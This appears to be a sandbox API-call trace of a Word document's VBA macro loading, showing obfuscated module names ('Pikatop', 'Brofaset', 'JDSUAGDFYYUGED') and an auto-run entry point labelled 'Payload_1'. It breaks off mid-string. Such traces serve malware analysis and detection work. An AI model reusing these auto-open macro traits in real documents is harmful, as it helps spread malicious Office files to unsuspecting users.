[0094.742] ITypeLib:RemoteIsName (in: This=0x276454c2ce0, szNameBuf="Office", lHashVal=0x407515, pfName=0xb5690f4000, pBstrLibName=0xb5690f3f30 | out: pfName=0xb5690f4000*=0, pBstrLibName=0xb5690f3f30) returned 0x0 [0094.742] IUnknown:Release (This=0x276454c2ce0) returned 0x9 [0094.742] IUnknown:AddRef (This=0x276454c2a20) returned 0x6 [0094.742] ITypeLib:RemoteIsName (in: This=0x276454c2a20, szNameBuf="Office", lHashVal=0x407515, pfName=0xb5690f4000, pBstrLibName=0xb5690f3f30 | out: pfName=0xb5690f4000*=0, pBstrLibName=0xb5690f3f30) returned 0x0 [0094.742] IUnknown:Release (This=0x276454c2a20) returned 0x5 [0094.742] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3c) returned 0x2764b193200 [0094.742] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27645202c90) [0094.742] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad3aab0 [0094.742] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad3aab0, cb=0x68) returned 0x276452024b0 [0094.742] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b193200) [0094.742] wcsncpy_s (in: _Destination=0xb5690f3ee0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0094.742] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0094.742] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x12a) returned 0x2764b6864a0 [0094.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x2764b6864a0, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0094.742] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b6864a0) [0094.742] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 60 [0094.742] wcscpy_s (in: _Destination=0x2764b7113c8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0094.742] wcsncpy_s (in: _Destination=0xb5690f3f20, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0094.742] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0094.742] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x12a) returned 0x2764b6850a0 [0094.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x2764b6850a0, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0094.742] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b6850a0) [0094.742] wcsncpy_s (in: _Destination=0xb5690f3ee0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0094.742] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0094.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xb5690f3e10, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0094.743] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0094.743] IUnknown:AddRef (This=0x276454c16e0) returned 0x4 [0094.743] IUnknown:QueryInterface (in: This=0x276454c16e0, riid=0x7ff9be1ccce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4308 | out: ppvObject=0xb5690f4308*=0x0) returned 0x80004002 [0094.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0xb5690f42d0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0094.743] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Office") returned 0x407515 [0094.743] IUnknown:Release (This=0x276454c16e0) returned 0x3 [0094.743] IUnknown:Release (This=0x276454c16e0) returned 0x2 [0094.743] SysStringByteLen (bstr="潎浲污") returned 0x6 [0094.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad3a458, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0094.743] SysStringByteLen (bstr="潎浲污") returned 0x6 [0094.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad3a458, cbMultiByte=7, lpWideCharStr=0x2764ad02368, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0094.744] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xa8) returned 0x2764b64d6d0 [0094.744] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x7f40) returned 0x2764b611710 [0094.744] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276455f8480 [0094.744] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x60) returned 0x27645202c90 [0094.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Hopertiol", cchWideChar=10, lpMultiByteStr=0xb5690f45b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hopertiol", lpUsedDefaultChar=0x0) returned 10 [0094.746] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Hopertiol") returned 0x40a148 [0094.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Hopertiol", cchWideChar=10, lpMultiByteStr=0xb5690f45a0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hopertiol", lpUsedDefaultChar=0x0) returned 10 [0094.746] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Hopertiol") returned 0x40a148 [0094.746] bsearch (_Key=0xb5690f34d8, _Base=0x2764b177fb0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bde69a58) returned 0x2764b177fb8 [0094.746] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Hopertiol", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 2 [0094.747] IUnknown:AddRef (This=0x276454bf8a0) returned 0x4 [0094.747] ITypeLib:RemoteGetDocumentation (in: This=0x276454bf8a0, index=-1, refPtrFlags=0x690f53a8, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f5401 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f5401) returned 0x0 [0094.747] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="VBA", cchCount1=3, lpString2="Normal", cchCount2=6) returned 3 [0094.747] IUnknown:Release (This=0x276454bf8a0) returned 0x3 [0094.748] IUnknown:AddRef (This=0x276454c2ce0) returned 0xa [0094.748] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2ce0, index=-1, refPtrFlags=0x690f53a8, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f5401 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f5401) returned 0x0 [0094.748] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Word", cchCount1=4, lpString2="Normal", cchCount2=6) returned 3 [0094.748] IUnknown:Release (This=0x276454c2ce0) returned 0x9 [0094.748] IUnknown:AddRef (This=0x276454c2a20) returned 0x6 [0094.748] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2a20, index=-1, refPtrFlags=0x690f53a8, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f5401 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f5401) returned 0x0 [0094.748] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="stdole", cchCount1=6, lpString2="Normal", cchCount2=6) returned 3 [0094.748] IUnknown:Release (This=0x276454c2a20) returned 0x5 [0094.748] wcscpy_s (in: _Destination=0x2764ad3a458, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0094.748] wcsncpy_s (in: _Destination=0xb5690f4cc0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0094.748] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0094.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xb5690f4bf0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0094.748] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0094.748] SysStringByteLen (bstr="潎浲污") returned 0x6 [0094.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad3a458, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0094.748] SysStringByteLen (bstr="潎浲污") returned 0x6 [0094.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad3a458, cbMultiByte=7, lpWideCharStr=0x2764ad02368, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0094.748] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Normal", cchCount1=6, lpString2="Normal", cchCount2=6) returned 2 [0094.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xb5690f5300, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0094.748] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0094.749] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f8280) [0094.750] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0094.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad3a458, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0094.751] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0094.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad3a458, cbMultiByte=8, lpWideCharStr=0x2764ad02368, cchWideChar=8 | out: lpWideCharStr="Pikatop") returned 8 [0094.751] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0094.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad3a458, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0094.751] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0094.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad3a458, cbMultiByte=8, lpWideCharStr=0x2764ae3aed8, cchWideChar=8 | out: lpWideCharStr="Pikatop") returned 8 [0094.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Pikatop", cchWideChar=-1, lpMultiByteStr=0xb5690f4960, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pikatop", lpUsedDefaultChar=0x0) returned 8 [0094.751] lstrlenA (lpString="Pikatop") returned 7 [0094.751] lstrcatA (in: lpString1="Pikatop", lpString2=" (" | out: lpString1="Pikatop (") returned="Pikatop (" [0094.751] strncat_s (in: _Destination="Pikatop (", _SizeInBytes=0x902, _Source="Payload_1", _MaxCount=0x28 | out: _Destination="Pikatop (Payload_1") returned 0x0 [0094.751] lstrcatA (in: lpString1="Pikatop (Payload_1", lpString2=")" | out: lpString1="Pikatop (Payload_1)") returned="Pikatop (Payload_1)" [0094.751] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xa8) returned 0x2764b64f3b0 [0094.751] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276455f8280 [0094.751] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x60) returned 0x27645202590 [0094.752] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xa8) returned 0x2764b64ed80 [0094.752] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276455f8300 [0094.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Brofaset", cchWideChar=9, lpMultiByteStr=0xb5690f4550, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Brofaset", lpUsedDefaultChar=0x0) returned 9 [0094.753] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Brofaset") returned 0x4021f7 [0094.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Brofaset", cchWideChar=9, lpMultiByteStr=0xb5690f4540, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Brofaset", lpUsedDefaultChar=0x0) returned 9 [0094.754] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Brofaset") returned 0x4021f7 [0094.754] bsearch (_Key=0xb5690f3478, _Base=0x2764b177fb0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bde69a58) returned 0x2764b177fb0 [0094.754] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Brofaset", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 1 [0094.754] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Brofaset", cchCount1=-1, lpString2="Brofaset", cchCount2=-1) returned 2 [0094.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="JDSUAGDFYYUGED", cchWideChar=15, lpMultiByteStr=0xb5690f4550, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JDSUAGDFYYUGED", lpUsedDefaultChar=0x0) returned 15 [0094.754] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="JDSUAGDFYYUGED") returned 0x40ae55 [0094.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="JDSUAGDFYYUGED", cchWideChar=15, lpMultiByteStr=0xb5690f4540, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JDSUAGDFYYUGED", lpUsedDefaultChar=0x0) returned 15 [0094.754] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="JDSUAGDFYYUGED") returned 0x40ae55 [0094.754] bsearch (_Key=0xb5690f3478, _Base=0x2764b177fb0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bde69a58) returned 0x2764b177fc0 [0094.754] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="JDSUAGDFYYUGED", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 3 [0094.754] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="JDSUAGDFYYUGED", cchCount1=-1, lpString2="JDSUAGDFYYUGED", cchCount2=-1) returned 2 [0095.155] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0095.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad3a458, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0095.155] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0095.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad3a458, cbMultiByte=8, lpWideCharStr=0x2764ae3aed8, cchWideChar=8 | out: lpWideCharStr="Pikatop") returned 8 [0095.155] free (_Block=0x27649976e80) [0095.155] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0095.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad3a458, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0095.155] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0095.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad3a458, cbMultiByte=8, lpWideCharStr=0x2764ad02368, cchWideChar=8 | out: lpWideCharStr="Pikatop") returned 8 [0095.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Pikatop", cchWideChar=-1, lpMultiByteStr=0xb5690f4de0, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pikatop", lpUsedDefaultChar=0x0) returned 8 [0095.156] lstrlenA (lpString="Pikatop") returned 7 [0095.156] lstrcatA (in: lpString1="Pikatop", lpString2=" (" | out: lpString1="Pikatop (") returned="Pikatop (" [0095.156] strncat_s (in: _Destination="Pikatop (", _SizeInBytes=0x902, _Source="Payload_1", _MaxCount=0x28 | out: _Destination="Pikatop (Payload_1") returned 0x0 [0095.156] lstrcatA (in: lpString1="Pikatop (Payload_1", lpString2=")" | out: lpString1="Pikatop (Payload_1)") returned="Pikatop (Payload_1)" [0095.419] malloc (_Size=0x90) returned 0x2764997db00 [0095.420] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1b) returned 0x276455c22d0 [0095.420] strncpy_s (in: _Dst=0x276455c22d0, _DstSize=0x1b, _Src="Pikatop.Brofaset.autoopen", _MaxCount=0x19 | out: _Dst="Pikatop.Brofaset.autoopen") returned 0x0 [0095.420] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Pikatop") returned 0x400875 [0095.420] bsearch (_Key=0xb5690f6738, _Base=0x2764b177fb0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bde69a58) returned 0x0 [0095.420] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Pikatop", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 3 [0095.420] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Pikatop", cchCount1=-1, lpString2="JDSUAGDFYYUGED", cchCount2=-1) returned 3 [0095.420] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Pikatop", cchCount1=-1, lpString2="Pikatop", cchCount2=-1) returned 2 [0095.420] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Brofaset") returned 0x4021f7 [0095.420] bsearch (_Key=0xb5690f6738, _Base=0x2764b177fb0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bde69a58) returned 0x2764b177fb0 [0095.421] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Brofaset", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 1 [0095.421] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Brofaset", cchCount1=-1, lpString2="Brofaset", cchCount2=-1) returned 2 [0095.421] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="autoopen") returned 0x402ad9 [0095.425] _mbscpy_s (in: _Dst=0xb5690f64a0, _DstSizeInBytes=0x1c, _Src=0x27649a42be2 | out: _Dst=0xb5690f64a0) returned 0x0 [0095.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="02612782e8", cchWideChar=11, lpMultiByteStr=0xb5690f6ae0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="02612782e8", lpUsedDefaultChar=0x0) returned 11 [0095.425] GetLocalTime (in: lpSystemTime=0xb5690f6bc8 | out: lpSystemTime=0xb5690f6bc8*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x32, wMilliseconds=0x39)) [0095.426] _ultow_s (in: _Value=0x612782ea, _Buffer=0x2764b249ce4, _BufferCount=0x9, _Radix=16 | out: _Buffer="612782ea") returned 0x0 [0095.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="06612782ea", cchWideChar=11, lpMultiByteStr=0xb5690f6b20, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="06612782ea", lpUsedDefaultChar=0x0) returned 11 [0095.426] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b423b30, cb=0x200) returned 0x2764b700c50 [0095.426] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763c064bf0, cb=0x20) returned 0x276455c2750 [0095.426] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ae9eb10, cb=0x28) returned 0x276455c2540 [0095.427] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764af950e0 [0095.427] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b72ba80 [0095.427] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b72a100 [0095.427] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764b66a870 [0095.427] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764b66a1b0 [0095.427] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764b66a630 [0095.427] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x90) returned 0x2764b1b1630 [0095.427] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0095.427] IUnknown:AddRef (This=0x276454bf8a0) returned 0x4 [0095.427] ITypeLib:RemoteGetLibAttr (in: This=0x276454bf8a0, ppTLibAttr=0xb5690f6168, pDummy=0x0 | out: ppTLibAttr=0xb5690f6168, pDummy=0x0) returned 0x0 [0095.427] ITypeLib:RemoteGetDocumentation (in: This=0x276454bf8a0, index=-1, refPtrFlags=0x690f6180, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27639f8bd20 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27639f8bd20) returned 0x0 [0095.427] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b1130f0 [0095.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=66, lpMultiByteStr=0xb5690f61f0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\x09:v\x02", lpUsedDefaultChar=0x0) returned 66 [0095.428] strcpy_s (in: _Dst=0x2764b163818, _DstSize=0x43, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0095.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0xb5690f6300, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0095.428] strcpy_s (in: _Dst=0x2764b163868, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0095.428] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b114680 [0095.428] IUnknown:AddRef (This=0x276454bf8a0) returned 0x5 [0095.428] ITypeLib:LocalReleaseTLibAttr (This=0x276454bf8a0) returned 0x0 [0095.428] IUnknown:Release (This=0x276454bf8a0) returned 0x4 [0095.428] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 5 [0095.428] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0 [0095.428] IUnknown:AddRef (This=0x276454c2ce0) returned 0xb [0095.428] ITypeLib:RemoteGetLibAttr (in: This=0x276454c2ce0, ppTLibAttr=0xb5690f6168, pDummy=0x0 | out: ppTLibAttr=0xb5690f6168, pDummy=0x0) returned 0x0 [0095.428] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2ce0, index=-1, refPtrFlags=0x690f6180, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0095.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft 